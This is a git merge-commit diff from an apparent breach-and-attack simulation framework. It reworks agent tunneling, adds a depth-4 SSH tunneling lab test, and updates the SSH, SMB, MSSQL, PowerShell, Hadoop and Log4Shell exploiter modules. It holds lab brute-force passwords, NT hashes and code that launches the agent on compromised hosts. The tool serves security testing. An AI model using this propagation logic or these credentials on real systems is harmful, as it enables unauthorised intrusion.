Merge branch '2216-tcp-relay' into develop

This commit is contained in:
vakarisz 2022-09-14 17:47:13 +03:00
commit b81f7ad69c
84 changed files with 1417 additions and 908 deletions

View File

@ -59,6 +59,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
- `/api/registration` endpoint to `/api/register`. #2105
- `/api/file-upload` endpoit to `/api/pba/upload`. #2154
- Improved the speed of ransomware encryption by 2-3x. #2123
- "-s/--server" to "-s/--servers". #2216
- "-s/--servers" accepts list of servers separated by comma. #2216
### Removed
- VSFTPD exploiter. #1533
@ -103,6 +105,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
- "/api/configuration/import" endpoint. #2002
- "/api/configuration/export" endpoint. #2002
- "/api/island-configuration" endpoint. #2003
- "-t/--tunnel" from agent command line arguments. #2216
### Fixed
- A bug in network map page that caused delay of telemetry log loading. #1545

View File

@ -1,7 +1,7 @@
#!/bin/bash
LINUXDEPLOY_URL="https://github.com/linuxdeploy/linuxdeploy/releases/download/continuous/linuxdeploy-x86_64.AppImage"
PYTHON_VERSION="3.7.13"
PYTHON_VERSION="3.7.14"
PYTHON_APPIMAGE_URL="https://github.com/niess/python-appimage/releases/download/python3.7/python${PYTHON_VERSION}-cp37-cp37m-manylinux1_x86_64.AppImage"
APPIMAGE_DIR=$(realpath "$(dirname "${BASH_SOURCE[0]}")")
APPDIR="$APPIMAGE_DIR/squashfs-root"

View File

@ -11,6 +11,7 @@ GCP_TEST_MACHINE_LIST = {
"tunneling-10",
"tunneling-11",
"tunneling-12",
"tunneling-13",
"zerologon-25",
],
"europe-west1-b": [
@ -52,7 +53,6 @@ DEPTH_3_A = {
"tunneling-9",
"tunneling-10",
"tunneling-11",
"tunneling-12",
"mimikatz-15",
],
"europe-west1-b": [
@ -63,6 +63,16 @@ DEPTH_3_A = {
],
}
DEPTH_4_A = {
"europe-west1-b": [
"tunneling-9",
"tunneling-10",
"tunneling-12",
"tunneling-13",
],
}
POWERSHELL_EXPLOITER_REUSE = {
"europe-west1-b": [
"powershell-3-46",
@ -88,6 +98,7 @@ GCP_SINGLE_TEST_LIST = {
"test_depth_2_a": DEPTH_2_A,
"test_depth_1_a": DEPTH_1_A,
"test_depth_3_a": DEPTH_3_A,
"test_depth_4_a": DEPTH_4_A,
"test_powershell_exploiter_credentials_reuse": POWERSHELL_EXPLOITER_REUSE,
"test_zerologon_exploiter": ZEROLOGON,
"test_wmi_and_mimikatz_exploiters": WMI_AND_MIMIKATZ,

View File

@ -18,6 +18,7 @@ from envs.monkey_zoo.blackbox.test_configurations import (
wmi_mimikatz_test_configuration,
zerologon_test_configuration,
)
from envs.monkey_zoo.blackbox.test_configurations.depth_4_a import depth_4_a_test_configuration
from envs.monkey_zoo.blackbox.test_configurations.test_configuration import TestConfiguration
from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest
from envs.monkey_zoo.blackbox.utils.gcp_machine_handlers import (
@ -123,6 +124,11 @@ class TestMonkeyBlackbox:
island_client, depth_3_a_test_configuration, "Depth3A test suite"
)
def test_depth_4_a(self, island_client):
TestMonkeyBlackbox.run_exploitation_test(
island_client, depth_4_a_test_configuration, "Depth4A test suite"
)
# Not grouped because can only be ran on windows
@pytest.mark.skip_powershell_reuse
def test_powershell_exploiter_credentials_reuse(self, island_client):

View File

@ -16,7 +16,7 @@ from .utils import (
# Tests:
# Powershell (10.2.3.45, 10.2.3.46, 10.2.3.47, 10.2.3.48)
# Tunneling (SSH brute force) (10.2.2.9, 10.2.1.10, 10.2.0.12, 10.2.0.11)
# Tunneling through grandparent agent (SSH brute force) (10.2.2.9, 10.2.1.10, 10.2.0.11)
# WMI pass the hash (10.2.2.15)
@ -38,7 +38,6 @@ def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration:
"10.2.3.47",
"10.2.3.48",
"10.2.1.10",
"10.2.0.12",
"10.2.0.11",
"10.2.2.15",
]
@ -62,7 +61,6 @@ CREDENTIALS = (
Credentials(None, Password("Passw0rd!")),
Credentials(None, Password("3Q=(Ge(+&w]*")),
Credentials(None, Password("`))jU7L(w}")),
Credentials(None, Password("t67TC5ZDmz")),
Credentials(None, NTHash("d0f0132b308a0c4e5d1029cc06f48692")),
Credentials(None, NTHash("5da0889ea2081aa79f6852294cba4a5e")),
Credentials(None, NTHash("50c9987a6bf1ac59398df9f911122c9b")),

View File

@ -0,0 +1,65 @@
import dataclasses
from common.agent_configuration import AgentConfiguration, PluginConfiguration
from common.credentials import Credentials, Password, Username
from .noop import noop_test_configuration
from .utils import (
add_exploiters,
add_subnets,
add_tcp_ports,
replace_agent_configuration,
replace_propagation_credentials,
set_keep_tunnel_open_time,
set_maximum_depth,
)
# Tests:
# Tunneling (SSH brute force) (10.2.2.9, 10.2.1.10, 10.2.0.12, 10.2.0.13)
def _add_exploiters(agent_configuration: AgentConfiguration) -> AgentConfiguration:
brute_force = [
PluginConfiguration(name="SSHExploiter", options={}),
PluginConfiguration(name="WmiExploiter", options={"smb_download_timeout": 30}),
]
return add_exploiters(agent_configuration, brute_force=brute_force, vulnerability=[])
def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration:
subnets = [
"10.2.2.9",
"10.2.1.10",
"10.2.0.12",
"10.2.2.13",
]
return add_subnets(agent_configuration, subnets)
def _add_tcp_ports(agent_configuration: AgentConfiguration) -> AgentConfiguration:
ports = [22, 135, 5985, 5986]
return add_tcp_ports(agent_configuration, ports)
test_agent_configuration = set_maximum_depth(noop_test_configuration.agent_configuration, 4)
test_agent_configuration = set_keep_tunnel_open_time(test_agent_configuration, 20)
test_agent_configuration = _add_exploiters(test_agent_configuration)
test_agent_configuration = _add_subnets(test_agent_configuration)
test_agent_configuration = _add_tcp_ports(test_agent_configuration)
CREDENTIALS = (
Credentials(Username("m0nk3y"), None),
Credentials(None, Password("3Q=(Ge(+&w]*")),
Credentials(None, Password("`))jU7L(w}")),
Credentials(None, Password("prM2qsroTI")),
Credentials(None, Password("t67TC5ZDmz")),
)
depth_4_a_test_configuration = dataclasses.replace(noop_test_configuration)
replace_agent_configuration(
test_configuration=depth_4_a_test_configuration, agent_configuration=test_agent_configuration
)
replace_propagation_credentials(
test_configuration=depth_4_a_test_configuration, propagation_credentials=CREDENTIALS
)

View File

@ -303,7 +303,7 @@ Update all requirements using deployment script:<br>
</tr>
<tr class="even">
<td>Root password:</td>
<td>3Q=(Ge(+&amp;w]*</td>
<td>3Q=(Ge(+&w]*</td>
</tr>
<tr class="odd">
<td>Servers config:</td>
@ -343,7 +343,10 @@ Update all requirements using deployment script:<br>
</tr>
<tr class="odd">
<td>Servers config:</td>
<td>Default</td>
<td>Contains firewall rules to block everything from 10.2.1.10 except ssh.
This prevents tunneling communication, but allows ssh exploitation.
Contains firewall rules to allow everything from 10.2.1.9 except ssh.
This prevents ssh exploitation, but allows tunneling.</td>
</tr>
<tr class="even">
<td>Notes:</td>
@ -384,6 +387,38 @@ Update all requirements using deployment script:<br>
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536021463" class="anchor"></span>Nr. <strong>13</strong> Tunneling M5</p>
<p>(10.2.0.13)</p></th>
<th>(Exploitable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Ubuntu 18 x64</strong></td>
</tr>
<tr class="odd">
<td>Default services port:</td>
<td>22</td>
</tr>
<tr class="even">
<td>Root password:</td>
<td>prM2qsroTI</td>
</tr>
<tr class="odd">
<td>Servers config:</td>
<td>Configured to disable traffic from/to 10.2.0.10 and 10.2.0.11(via ufw and iptables)</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td>Accessible only through Nr.12</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

View File

@ -0,0 +1 @@
<mxfile host="app.diagrams.net" modified="2022-09-09T14:43:18.604Z" agent="5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" etag="hR7zJg_PJGBkx010pojR" version="20.3.0" type="device"><diagram id="UsVsRtHn_Xg_yxI8nRbj" name="Page-1">7VrbbuM2EP0aP9aQRN38uLHsTYEtGiAo0jwFjMSV2KVEg6J86deXtEhbF1eWW9tSsEHyYM6MJHLOOcPRZQLm6fYrg6vkNxohMrGMaDsBwcSyTNuyJvLfiHalxZvZpSFmOFJBR8Mz/hspo6GsBY5QXgvklBKOV3VjSLMMhbxmg4zRTT3sOyX1q65gjFqG5xCStvUFRzwprb5jHO2PCMeJvrJpKE8KdbAy5AmM6KZiAosJmDNKefkr3c4RkcnTeSmPW/6L9zAxhjLe5wAneCPB79/gSxC+PT4t053Jlr94am58pxeMIrF+NaSMJzSmGSSLo/WB0SKLkDyrIUbHmG+UroTRFMa/EOc7BSYsOBWmhKdEedszV4vJacFC1DFdzQDIYsQ74hTp5FoqF1B5+YpoijjbiQCGCOR4XccaKsrEhzh16BfG4K4SsKI443nlzE/SIAIU+w/QK+6bbgOhy+LFj3IGelRZytG0R/0CBqhFryEpVBp+zQnMohYx6rBvEszR8wru4doI7feEeI0YR9tOUJTXbyRDS25zlOFBbElFgvq4UzBWUnl5pvyPpRWrp1bMUWpFbwB9tdKIv41WZkMwQADPdn+q4/eDVzmYWo4eB9uqN9ip0e2pA0ZBHdCsFF43dc7E34Y6VqvM8kJ0LARnsaSVS0SeH96Z+BXzPXZNiykQF38nYvcec9om570rtuWOrWTrLvKj1GzQU3j2KIRnzxp4n6nZZ+Jv1N9YP0nR7ssdZ5Tc0TXgWlwIXsHzDIePThy8sMfiD7i0uG51hqgGjXTfFmJrEESNBqLGmWrQHX+bagA6tmFZjXruw+b0VPDeZUxPbDr33olte3Q78YDa+y9Ssy+R2jWr6f/Kst1Fb/MSep8I1vRuIzk4vb2h2Q2GbTIqfcVr1Xn1JsPpKYtx3BnarlPjCbhLw2n/JA1nXy64o+CC12w3/O725Ez8bbjjdNVvq3f9FkW6fddz7yLtNB6zHJ4ODFelnY/Vg7g9BTaOOzrPrOMNzjwNOBN/G4G5XQIDlwisvePfW2CePTqBea30trKU/0A8TFSS9pxCbLFGklplZg7vSWVABPPkkNJK+nLO6A80p4QyYcloJqX6HROiTRMLBEt/bov8PRD4jsgTzTHHNBO+EMmLCofMNQ6FlhsB75RzmlYCvhAcSweXmn+AanQ4Dy24YJCYjn4HbZTrWMk1p9tYvhqfrhGCqTUVgcX2ShW2+b5w1iYAsNv4a9v18fc/8b8j/qBZAMyh8Z994j+g/r2B4dfT+YT/LvD7DfiB4Q6Mf/tbkjb+14J3sfSXljkueKdp/rbBWbT/6uwaELuNN6rAakvcPtHhgdnUvxhkMTx+jVY23Mdv+sDiHw==</diagram></mxfile>

View File

@ -23,6 +23,10 @@ data "google_compute_image" "tunneling-12" {
name = "tunneling-12"
project = local.monkeyzoo_project
}
data "google_compute_image" "tunneling-13" {
name = "tunneling-13"
project = local.monkeyzoo_project
}
data "google_compute_image" "sshkeys-11" {
name = "sshkeys-11"
project = local.monkeyzoo_project

View File

@ -127,6 +127,10 @@ resource "google_compute_instance_from_template" "tunneling-11" {
subnetwork="${local.resource_prefix}tunneling2-main"
network_ip="10.2.0.11"
}
network_interface{
subnetwork="${local.resource_prefix}tunneling-main"
network_ip="10.2.1.11"
}
}
resource "google_compute_instance_from_template" "tunneling-12" {
@ -144,6 +148,21 @@ resource "google_compute_instance_from_template" "tunneling-12" {
}
}
resource "google_compute_instance_from_template" "tunneling-13" {
name = "${local.resource_prefix}tunneling-13"
source_instance_template = local.default_ubuntu
boot_disk{
initialize_params {
image = data.google_compute_image.tunneling-13.self_link
}
auto_delete = true
}
network_interface{
subnetwork="${local.resource_prefix}tunneling2-main"
network_ip="10.2.0.13"
}
}
resource "google_compute_instance_from_template" "sshkeys-11" {
name = "${local.resource_prefix}sshkeys-11"
source_instance_template = local.default_ubuntu

View File

@ -8,4 +8,3 @@ class TelemCategoryEnum:
SCAN = "scan"
STATE = "state"
TRACE = "trace"
TUNNEL = "tunnel"

View File

@ -1,7 +1,15 @@
from typing import Optional, Tuple
# TODO: `address_to_port()` should return the port as an integer.
def address_to_ip_port(address: str) -> Tuple[str, Optional[str]]:
"""
Split a string containing an IP address (and optionally a port) into IP and Port components.
Currently only works for IPv4 addresses.
:param address: The address string.
:return: Tuple of IP and port strings. The port may be None if no port was in the address.
"""
if ":" in address:
ip, port = address.split(":")
return ip, port or None

View File

@ -1,5 +1,5 @@
import queue
from typing import Any, List, MutableMapping, TypeVar
from typing import Any, Dict, List, MutableMapping, Type, TypeVar
T = TypeVar("T")
@ -15,7 +15,7 @@ class abstractstatic(staticmethod):
class Singleton(type):
_instances = {}
_instances: Dict[Type, type] = {}
def __call__(cls, *args, **kwargs):
if cls not in cls._instances:

View File

@ -26,6 +26,7 @@ pefile = {version = "*", sys_platform = "== 'win32'"} # Pyinstaller requirement
paramiko = {editable = true, ref = "2.10.3.dev1", git = "https://github.com/VakarisZ/paramiko.git"}
pypubsub = "*"
pydantic = "*"
egg-timer = "*"
[dev-packages]
ldap3 = "*"

View File

@ -1,7 +1,7 @@
{
"_meta": {
"hash": {
"sha256": "7d1e1d151dbf74cf73466f7a73305efc4e5e187245fe789c0db103f4045eb722"
"sha256": "cb55ba9c2d5b1763315473d9e766aade31137f61839644c1bcdf6ce0e7601ddb"
},
"pipfile-spec": 6,
"requires": {
@ -97,11 +97,11 @@
},
"certifi": {
"hashes": [
"sha256:84c85a9078b11105f04f3036a9482ae10e4621616db313fe045dd24743a0820d",
"sha256:fe86415d55e84719d75f8b69414f6438ac3547d2078ab91b67e779ef69378412"
"sha256:43dadad18a7f168740e66944e4fa82c6611848ff9056ad910f8f7a3e46ab89e0",
"sha256:cffdcd380919da6137f76633531a5817e3a9f268575c128249fb637e4f9e73fb"
],
"markers": "python_version >= '3.6'",
"version": "==2022.6.15"
"version": "==2022.6.15.1"
},
"cffi": {
"hashes": [
@ -251,6 +251,14 @@
"markers": "python_version >= '3.6' and python_version < '4'",
"version": "==2.2.1"
},
"egg-timer": {
"hashes": [
"sha256:125efb1fdc1582e3354dbbf3218010968a875b97bf7c10e00c8ca6010d9c18ad",
"sha256:12b789c8d17d1aab11c5b994bad336089a4c1ac5e0565e3ad2dd0470eae34939"
],
"index": "pypi",
"version": "==1.0.0.post1"
},
"flask": {
"hashes": [
"sha256:642c450d19c4ad482f96729bd2a8f6d32554aa1e231f4f6b4e7e5264b16cca2b",
@ -489,6 +497,7 @@
"hashes": [
"sha256:a5488a3dd1fd021ce33f969780b88fe0f7eebb76eb20996d7318f307612a045b"
],
"index": "pypi",
"markers": "sys_platform == 'win32'",
"version": "==2022.5.30"
},
@ -799,14 +808,32 @@
"version": "==0.6.0"
},
"pywin32": {
"sys_platform": "== 'win32'",
"version": "*"
"hashes": [
"sha256:25746d841201fd9f96b648a248f731c1dec851c9a08b8e33da8b56148e4c65cc",
"sha256:30c53d6ce44c12a316a06c153ea74152d3b1342610f1b99d40ba2795e5af0269",
"sha256:3c7bacf5e24298c86314f03fa20e16558a4e4138fc34615d7de4070c23e65af3",
"sha256:4f32145913a2447736dad62495199a8e280a77a0ca662daa2332acf849f0be48",
"sha256:7ffa0c0fa4ae4077e8b8aa73800540ef8c24530057768c3ac57c609f99a14fd4",
"sha256:94037b5259701988954931333aafd39cf897e990852115656b014ce72e052e96",
"sha256:bb2ea2aa81e96eee6a6b79d87e1d1648d3f8b87f9a64499e0b92b30d141e76df",
"sha256:be253e7b14bc601718f014d2832e4c18a5b023cbe72db826da63df76b77507a1",
"sha256:cbbe34dad39bdbaa2889a424d28752f1b4971939b14b1bb48cbf0182a3bcfc43",
"sha256:d24a3382f013b21aa24a5cfbfad5a2cd9926610c0affde3e8ab5b3d7dbcf4ac9",
"sha256:d3ee45adff48e0551d1aa60d2ec066fec006083b791f5c3527c40cd8aefac71f",
"sha256:de9827c23321dcf43d2f288f09f3b6d772fee11e809015bdae9e69fe13213988",
"sha256:ead865a2e179b30fb717831f73cf4373401fc62fbc3455a0889a7ddac848f83e",
"sha256:f64c0377cf01b61bd5e76c25e1480ca8ab3b73f0c4add50538d332afdf8f69c5"
],
"index": "pypi",
"markers": "sys_platform == 'win32'",
"version": "==304"
},
"pywin32-ctypes": {
"hashes": [
"sha256:24ffc3b341d457d48e8922352130cf2644024a4ff09762a2261fd34c36ee5942",
"sha256:9dc2d991b3479cc2df15930958b674a48a227d5361d413827a4cfd0b5876fc98"
],
"index": "pypi",
"markers": "sys_platform == 'win32'",
"version": "==0.2.0"
},
@ -854,11 +881,29 @@
"tls"
],
"hashes": [
"sha256:a047990f57dfae1e0bd2b7df2526d4f16dcdc843774dc108b78c52f2a5f13680",
"sha256:f9f7a91f94932477a9fc3b169d57f54f96c6e74a23d78d9ce54039a7f48928a2"
"sha256:8d4718d1e48dcc28933f8beb48dc71cfe77a125e37ad1eb7a3d0acc49baf6c99",
"sha256:e5b60de39f2d1da153fbe1874d885fe3fcbdb21fcc446fa759a53e8fc3513bed"
],
"markers": "python_full_version >= '3.6.7'",
"version": "==22.4.0"
"markers": "python_full_version >= '3.7.1'",
"version": "==22.8.0"
},
"twisted-iocpsupport": {
"hashes": [
"sha256:306becd6e22ab6e8e4f36b6bdafd9c92e867c98a5ce517b27fdd27760ee7ae41",
"sha256:3c61742cb0bc6c1ac117a7e5f422c129832f0c295af49e01d8a6066df8cfc04d",
"sha256:72068b206ee809c9c596b57b5287259ea41ddb4774d86725b19f35bf56aa32a9",
"sha256:7d972cfa8439bdcb35a7be78b7ef86d73b34b808c74be56dfa785c8a93b851bf",
"sha256:81b3abe3527b367da0220482820cb12a16c661672b7bcfcde328902890d63323",
"sha256:851b3735ca7e8102e661872390e3bce88f8901bece95c25a0c8bb9ecb8a23d32",
"sha256:985c06a33f5c0dae92c71a036d1ea63872ee86a21dd9b01e1f287486f15524b4",
"sha256:9dbb8823b49f06d4de52721b47de4d3b3026064ef4788ce62b1a21c57c3fff6f",
"sha256:b435857b9efcbfc12f8c326ef0383f26416272260455bbca2cd8d8eca470c546",
"sha256:b76b4eed9b27fd63ddb0877efdd2d15835fdcb6baa745cb85b66e5d016ac2878",
"sha256:b9fed67cf0f951573f06d560ac2f10f2a4bbdc6697770113a2fc396ea2cb2565",
"sha256:bf4133139d77fc706d8f572e6b7d82871d82ec7ef25d685c2351bdacfb701415"
],
"markers": "platform_system == 'Windows'",
"version": "==1.0.2"
},
"typing-extensions": {
"hashes": [
@ -919,6 +964,7 @@
"sha256:1d6b085e5c445141c475476000b661f60fff1aaa19f76bf82b7abb92e0ff4942",
"sha256:b6a6be5711b1b6c8d55bda7a8befd75c48c12b770b9d227d31c1737dbf0d40a6"
],
"index": "pypi",
"markers": "sys_platform == 'win32'",
"version": "==1.5.1"
},

View File

@ -2,21 +2,16 @@ import json
import logging
import platform
from socket import gethostname
from typing import Mapping, Optional
import requests
from requests.exceptions import ConnectionError
from urllib3 import disable_warnings
import infection_monkey.tunnel as tunnel
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
from infection_monkey.config import GUID
from infection_monkey.network.info import get_host_subnets, local_ips
from infection_monkey.transport.http import HTTPConnectProxy
from infection_monkey.transport.tcp import TcpProxy
from infection_monkey.utils import agent_process
from infection_monkey.utils.environment import is_windows_os
requests.packages.urllib3.disable_warnings()
disable_warnings() # noqa DUO131
logger = logging.getLogger(__name__)
@ -29,8 +24,7 @@ class ControlClient:
# https://github.com/guardicore/monkey/blob/133f7f5da131b481561141171827d1f9943f6aec/monkey/infection_monkey/telemetry/base_telem.py
control_client_object = None
def __init__(self, server_address: str, proxies: Optional[Mapping[str, str]] = None):
self.proxies = {} if not proxies else proxies
def __init__(self, server_address: str):
self.server_address = server_address
def wakeup(self, parent=None):
@ -51,69 +45,14 @@ class ControlClient:
"launch_time": agent_process.get_start_time(),
}
if self.proxies:
monkey["tunnel"] = self.proxies.get("https")
requests.post( # noqa: DUO123
f"https://{self.server_address}/api/agent",
data=json.dumps(monkey),
headers={"content-type": "application/json"},
verify=False,
proxies=self.proxies,
timeout=MEDIUM_REQUEST_TIMEOUT,
)
def find_server(self, default_tunnel=None):
logger.debug(f"Trying to wake up with Monkey Island server: {self.server_address}")
if default_tunnel:
logger.debug("default_tunnel: %s" % (default_tunnel,))
try:
debug_message = "Trying to connect to server: %s" % self.server_address
if self.proxies:
debug_message += " through proxies: %s" % self.proxies
logger.debug(debug_message)
requests.get( # noqa: DUO123
f"https://{self.server_address}/api?action=is-up",
verify=False,
proxies=self.proxies,
timeout=MEDIUM_REQUEST_TIMEOUT,
)
return True
except ConnectionError as exc:
logger.warning("Error connecting to control server %s: %s", self.server_address, exc)
if self.proxies:
return False
else:
logger.info("Starting tunnel lookup...")
proxy_find = tunnel.find_tunnel(default=default_tunnel)
if proxy_find:
self.set_proxies(proxy_find)
return self.find_server()
else:
logger.info("No tunnel found")
return False
def set_proxies(self, proxy_find):
"""
Note: The proxy schema changes between different versions of requests and urllib3,
which causes the machine to not open a tunnel back.
If we get "ValueError: check_hostname requires server_hostname" or
"Proxy URL had not schema, should start with http:// or https://" errors,
the proxy schema needs to be changed.
Keep this in mind when upgrading to newer python version or when urllib3 and
requests are updated there is possibility that the proxy schema is changed.
https://github.com/psf/requests/issues/5297
https://github.com/psf/requests/issues/5855
"""
proxy_address, proxy_port = proxy_find
logger.info("Found tunnel at %s:%s" % (proxy_address, proxy_port))
if is_windows_os():
self.proxies["https"] = f"http://{proxy_address}:{proxy_port}"
else:
self.proxies["https"] = f"{proxy_address}:{proxy_port}"
def send_telemetry(self, telem_category, json_data: str):
if not self.server_address:
logger.error(
@ -128,7 +67,6 @@ class ControlClient:
data=json.dumps(telemetry),
headers={"content-type": "application/json"},
verify=False,
proxies=self.proxies,
timeout=MEDIUM_REQUEST_TIMEOUT,
)
except Exception as exc:
@ -144,41 +82,16 @@ class ControlClient:
data=json.dumps(telemetry),
headers={"content-type": "application/json"},
verify=False,
proxies=self.proxies,
timeout=MEDIUM_REQUEST_TIMEOUT,
)
except Exception as exc:
logger.warning(f"Error connecting to control server {self.server_address}: {exc}")
def create_control_tunnel(self, keep_tunnel_open_time: int):
if not self.server_address:
return None
my_proxy = self.proxies.get("https", "").replace("https://", "")
if my_proxy:
proxy_class = TcpProxy
try:
target_addr, target_port = my_proxy.split(":", 1)
target_port = int(target_port)
except ValueError:
return None
else:
proxy_class = HTTPConnectProxy
target_addr, target_port = None, None
return tunnel.MonkeyTunnel(
proxy_class,
keep_tunnel_open_time=keep_tunnel_open_time,
target_addr=target_addr,
target_port=target_port,
)
def get_pba_file(self, filename):
try:
return requests.get( # noqa: DUO123
PBA_FILE_DOWNLOAD % (self.server_address, filename),
verify=False,
proxies=self.proxies,
timeout=LONG_REQUEST_TIMEOUT,
)
except requests.exceptions.RequestException:

View File

@ -175,7 +175,7 @@ def _publish_credentials_stolen_event(
credentials_stolen_event = CredentialsStolenEvent(
source=get_agent_id(),
tags=SSH_COLLECTOR_EVENT_TAGS,
stolen_credentials=[collected_credentials],
stolen_credentials=collected_credentials,
)
event_queue.publish(credentials_stolen_event)

View File

@ -44,8 +44,7 @@ class MonkeyDrops(object):
def __init__(self, args):
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument("-p", "--parent")
arg_parser.add_argument("-t", "--tunnel")
arg_parser.add_argument("-s", "--server")
arg_parser.add_argument("-s", "--servers", type=lambda arg: arg.strip().split(","))
arg_parser.add_argument("-d", "--depth", type=positive_int, default=0)
arg_parser.add_argument("-l", "--location")
arg_parser.add_argument("-vp", "--vulnerable-port")
@ -132,8 +131,7 @@ class MonkeyDrops(object):
monkey_options = build_monkey_commandline_explicitly(
parent=self.opts.parent,
tunnel=self.opts.tunnel,
server=self.opts.server,
servers=self.opts.servers,
depth=self.opts.depth,
location=None,
)

View File

@ -2,7 +2,7 @@ import logging
import threading
from abc import abstractmethod
from datetime import datetime
from typing import Dict
from typing import Dict, Sequence
from common.event_queue import IAgentEventQueue
from common.utils.exceptions import FailedExploitationError
@ -35,6 +35,7 @@ class HostExploiter:
self.event_queue = None
self.options = {}
self.exploit_result = {}
self.servers = []
def set_start_time(self):
self.exploit_info["started"] = datetime.now().isoformat()
@ -58,6 +59,7 @@ class HostExploiter:
def exploit_host(
self,
host,
servers: Sequence[str],
current_depth: int,
telemetry_messenger: ITelemetryMessenger,
event_queue: IAgentEventQueue,
@ -66,6 +68,7 @@ class HostExploiter:
interrupt: threading.Event,
):
self.host = host
self.servers = servers
self.current_depth = current_depth
self.telemetry_messenger = telemetry_messenger
self.event_queue = event_queue

View File

@ -1,7 +1,6 @@
import io
import threading
from functools import lru_cache
from typing import Mapping
import requests
@ -18,9 +17,8 @@ class CachingAgentBinaryRepository(IAgentBinaryRepository):
request is actually sent to the island for each requested binary.
"""
def __init__(self, island_url: str, proxies: Mapping[str, str]):
def __init__(self, island_url: str):
self._island_url = island_url
self._proxies = proxies
self._lock = threading.Lock()
def get_agent_binary(
@ -40,7 +38,6 @@ class CachingAgentBinaryRepository(IAgentBinaryRepository):
response = requests.get( # noqa: DUO123
f"{self._island_url}/api/agent-binaries/{os_name}",
verify=False,
proxies=self._proxies,
timeout=MEDIUM_REQUEST_TIMEOUT,
)

View File

@ -1,5 +1,5 @@
import threading
from typing import Dict, Type
from typing import Dict, Sequence, Type
from common.event_queue import IAgentEventQueue
from infection_monkey.model import VictimHost
@ -31,11 +31,17 @@ class ExploiterWrapper:
self._agent_binary_repository = agent_binary_repository
def exploit_host(
self, host: VictimHost, current_depth: int, options: Dict, interrupt: threading.Event
self,
host: VictimHost,
servers: Sequence[str],
current_depth: int,
options: Dict,
interrupt: threading.Event,
):
exploiter = self._exploit_class()
return exploiter.exploit_host(
host,
servers,
current_depth,
self._telemetry_messenger,
self._event_queue,

View File

@ -104,7 +104,7 @@ class HadoopExploiter(WebRCE):
def _build_command(self, path, http_path):
# Build command to execute
monkey_cmd = build_monkey_commandline(self.host, self.current_depth + 1)
monkey_cmd = build_monkey_commandline(self.servers, self.current_depth + 1)
if self.host.is_windows():
base_command = HADOOP_WINDOWS_COMMAND
else:

View File

@ -115,7 +115,7 @@ class Log4ShellExploiter(WebRCE):
def _build_command(self, path: PurePath, http_path) -> str:
# Build command to execute
monkey_cmd = build_monkey_commandline(self.host, self.current_depth + 1, location=path)
monkey_cmd = build_monkey_commandline(self.servers, self.current_depth + 1, location=path)
if self.host.is_windows():
base_command = LOG4SHELL_WINDOWS_COMMAND
else:

View File

@ -179,7 +179,7 @@ class MSSQLExploiter(HostExploiter):
def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str:
agent_args = build_monkey_commandline(
self.host, self.current_depth + 1, agent_path_on_victim
self.servers, self.current_depth + 1, agent_path_on_victim
)
return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}"

View File

@ -15,7 +15,7 @@ from infection_monkey.exploit.powershell_utils.powershell_client import (
PowerShellClient,
)
from infection_monkey.exploit.tools.helpers import get_agent_dst_path, get_random_file_suffix
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY
from infection_monkey.utils.commands import build_monkey_commandline
from infection_monkey.utils.environment import is_windows_os
from infection_monkey.utils.threading import interruptible_iter
@ -169,7 +169,7 @@ class PowerShellExploiter(HostExploiter):
def _run_monkey_executable_on_victim(self, executable_path):
monkey_execution_command = build_monkey_execution_command(
self.host, self.current_depth + 1, executable_path
self.servers, self.current_depth + 1, executable_path
)
logger.info(
@ -179,9 +179,9 @@ class PowerShellExploiter(HostExploiter):
self._client.execute_cmd_as_detached_process(monkey_execution_command)
def build_monkey_execution_command(host: VictimHost, depth: int, executable_path: str) -> str:
def build_monkey_execution_command(servers: List[str], depth: int, executable_path: str) -> str:
monkey_params = build_monkey_commandline(
target_host=host,
servers,
depth=depth,
location=executable_path,
)

View File

@ -91,14 +91,14 @@ class SMBExploiter(HostExploiter):
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {
"dropper_path": remote_full_path
} + build_monkey_commandline(
self.host,
self.servers,
self.current_depth + 1,
str(dest_path),
)
else:
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {
"monkey_path": remote_full_path
} + build_monkey_commandline(self.host, self.current_depth + 1)
} + build_monkey_commandline(self.servers, self.current_depth + 1)
smb_conn = None
for str_bind_format, port in SMBExploiter.KNOWN_PROTOCOLS.values():

View File

@ -4,6 +4,7 @@ from pathlib import PurePath
import paramiko
from common import OperatingSystem
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
from common.credentials.credentials import get_plaintext
from common.utils import Timer
@ -119,7 +120,7 @@ class SSHExploiter(HostExploiter):
ssh.connect(
self.host.ip_addr,
username=user,
password=current_password,
password=get_plaintext(current_password),
port=port,
timeout=SSH_CONNECT_TIMEOUT,
auth_timeout=SSH_AUTH_TIMEOUT,
@ -181,7 +182,8 @@ class SSHExploiter(HostExploiter):
_, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT)
uname_os = stdout.read().lower().strip().decode()
if "linux" in uname_os:
self.exploit_result.os = "linux"
self.exploit_result.os = OperatingSystem.LINUX
self.host.os["type"] = OperatingSystem.LINUX
else:
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
@ -245,7 +247,7 @@ class SSHExploiter(HostExploiter):
try:
cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}"
cmdline += build_monkey_commandline(self.host, self.current_depth + 1)
cmdline += build_monkey_commandline(self.servers, self.current_depth + 1)
cmdline += " > /dev/null 2>&1 &"
